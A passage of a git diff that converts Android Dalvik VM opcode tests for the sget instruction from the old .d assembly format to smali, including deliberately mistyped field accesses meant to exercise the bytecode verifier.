+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_1.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+.field protected static p1:I
+.field private static pvt1:I
+
+.method static constructor <clinit>()V
+.registers 1
+       const/4 v0, 5
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->i1:I
+
+       const/16 v0, 10
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->p1:I
+
+       const/16 v0, 20
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->pvt1:I
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.d
deleted file mode 100644
index fb446be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_11.java
-.class public dot.junit.opcodes.sget.d.T_sget_11
-.super dot/junit/opcodes/sget/d/T_sget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget/d/T_sget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_1.p1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali
new file mode 100644
index 0000000..fb4cdd5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_11.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_11;
+.super  Ldot/junit/opcodes/sget/d/T_sget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget/d/T_sget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->p1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.d
deleted file mode 100644
index b1e9093..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_12.java
-.class public dot.junit.opcodes.sget.d.T_sget_12
-.super dot/junit/opcodes/sget/d/T_sget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget/d/T_sget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_1.pvt1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali
new file mode 100644
index 0000000..3382f21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_12.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_12;
+.super  Ldot/junit/opcodes/sget/d/T_sget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget/d/T_sget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->pvt1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.d
deleted file mode 100644
index 7122dbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_13.java
-.class public dot.junit.opcodes.sget.d.T_sget_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_13.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali
new file mode 100644
index 0000000..aa7a40c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_13.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_13;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d
deleted file mode 100644
index 43ed17b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_14.java
-.class public dot.junit.opcodes.sget.d.T_sget_14
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.smali
new file mode 100644
index 0000000..4d2c2d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/T_sget_14;
+.super Ljava/lang/Object;
+.source "T_sget_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget v0, Ldot/junit/opcodes/sget/d/T_sget_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.d
deleted file mode 100644
index a9d65e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_15.java
-.class public dot.junit.opcodes.sget.d.T_sget_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali
new file mode 100644
index 0000000..7561691
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_15.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.d
deleted file mode 100644
index 71602db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_16.java
-.class public dot.junit.opcodes.sget.d.T_sget_16
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali
new file mode 100644
index 0000000..a006d32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_16.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.d
deleted file mode 100644
index e7bdc56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_17.java
-.class public dot.junit.opcodes.sget.d.T_sget_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali
new file mode 100644
index 0000000..380468e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_17.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.d
deleted file mode 100644
index 62dbc28..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_18.java
-.class public dot.junit.opcodes.sget.d.T_sget_18
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali
new file mode 100644
index 0000000..761aaed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_18.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.d
deleted file mode 100644
index 0f3374d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_19.java
-.class public dot.junit.opcodes.sget.d.T_sget_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali
new file mode 100644
index 0000000..5ec52d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_19.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d
deleted file mode 100644
index de5c7cb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_2.java
-.class public dot.junit.opcodes.sget.d.T_sget_2
-.super java/lang/Object
-
-.field public static val F
-
-.method static <clinit>()V
-.limit regs 2
-       const v0, 123.0
-       sput v0, dot.junit.opcodes.sget.d.T_sget_2.val F
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()F
-.limit regs 4
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_2.val F
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.smali
new file mode 100644
index 0000000..da0c882
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_2.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/T_sget_2;
+.super Ljava/lang/Object;
+.source "T_sget_2.java"
+
+
+# static fields
+.field public static val:F
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const v0, 0x42f60000    # 123.0f
+
+    sput v0, Ldot/junit/opcodes/sget/d/T_sget_2;->val:F
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 4
+
+    sget v1, Ldot/junit/opcodes/sget/d/T_sget_2;->val:F
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.d
deleted file mode 100644
index e03ccd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_20.java
-.class public dot.junit.opcodes.sget.d.T_sget_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali
new file mode 100644
index 0000000..afbdf2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_20.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.d
deleted file mode 100644
index 1932bb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_3.java
-.class public dot.junit.opcodes.sget.d.T_sget_3
-.super java/lang/Object
-
